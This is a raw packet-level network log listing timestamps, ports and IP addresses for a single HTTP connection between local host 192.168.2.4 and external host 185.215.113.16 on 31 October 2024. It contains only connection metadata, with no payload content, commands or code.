Oct 31, 2024 23:37:16.274136066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274174929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.274621010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274630070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274638891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.274658918 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.274671078 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.275276899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275286913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275295973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275305033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275319099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275329113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275335073 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.275340080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275341988 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.275350094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275356054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275361061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275369883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275373936 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.275376081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275382996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275387049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275391102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.275398970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275403023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.275429010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275429010 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.275441885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.275465965 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.276407003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276417971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276427984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276437044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276447058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276451111 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.276458979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276468992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276478052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276479959 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.276488066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276498079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276508093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276510000 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.276519060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276520014 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.276530981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.276546001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.276555061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.277203083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277214050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277223110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277245045 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.277333975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277343988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277353048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277363062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277369976 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.277385950 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.277556896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277566910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277575970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277584076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277594090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277604103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.277605057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.277616024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.277647972 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.278232098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278243065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278249025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278254032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278264046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278281927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278284073 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.278299093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278300047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.278305054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278311968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278321981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278327942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.278351068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.278367043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.389735937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.389815092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.389837980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.389884949 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.389906883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.389971972 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.434864044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.434895039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.434906006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.434916019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.434926987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.434937954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.434950113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.434958935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.434967995 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.434971094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435015917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435192108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435205936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435215950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435231924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435242891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435249090 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435256004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435259104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435270071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435281038 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435301065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435318947 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435322046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435344934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435355902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435367107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435376883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435389042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435420036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435439110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435448885 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435448885 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435448885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435461044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435477972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435483932 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435489893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435502052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435513020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435523033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435530901 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435534954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435545921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435554028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435565948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435574055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435579062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435589075 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435589075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435602903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435611963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435652971 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435811043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435826063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435837030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435852051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435859919 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435863972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435874939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435885906 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435888052 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435897112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435909033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.435914040 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.435956955 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.436340094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.436351061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.436359882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.436371088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.436382055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.436383963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.436393023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.436403990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.436408043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.436439991 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.436450005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440443993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440455914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440465927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440474987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440486908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440506935 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440547943 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440745115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440756083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440766096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440776110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440788031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440788984 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440804005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440810919 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440815926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440826893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440830946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440840006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440850973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440860987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440862894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440872908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440881968 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440898895 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.440936089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440947056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.440979958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441051006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441062927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441072941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441083908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441097975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441099882 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441109896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441122055 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441133022 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441196918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441209078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441231012 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441232920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441245079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441265106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441266060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441278934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441292048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441302061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441313982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441314936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441325903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441335917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441339970 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441346884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441354036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441364050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441371918 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441375017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441387892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441397905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441399097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441411972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441426039 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441457987 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441539049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441550016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441559076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441570044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441580057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441581964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441606045 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441678047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441689968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441699028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441710949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441723108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441725016 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441734076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441740990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441745996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441762924 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441780090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441792011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441797018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441802979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.441819906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.441996098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442008018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442017078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442034006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442044973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442054987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442056894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442066908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442080975 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442085981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442096949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442106962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442117929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442117929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442125082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442126989 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442131042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442142963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442157030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442179918 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442231894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442245007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442260027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442270994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442281008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442282915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442287922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442291975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442303896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442312002 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442317009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442328930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442338943 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442338943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442352057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442363024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442372084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442374945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442383051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442394018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442404032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442414999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442420006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442425966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442431927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442437887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442440033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442444086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442456007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442466021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442471981 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442477942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442498922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442508936 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442552090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442564011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442573071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442584991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442595005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442595959 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442605972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442616940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442620993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442627907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442637920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442661047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442663908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442676067 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442694902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442692995 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442708969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442753077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.442919016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442929983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442940950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.442961931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.443044901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443056107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443064928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443073988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443087101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443095922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.443098068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443109989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443120003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443121910 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:16.443131924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:16.443149090 CET	49739	80	192.168.2.4	185.215.113.16
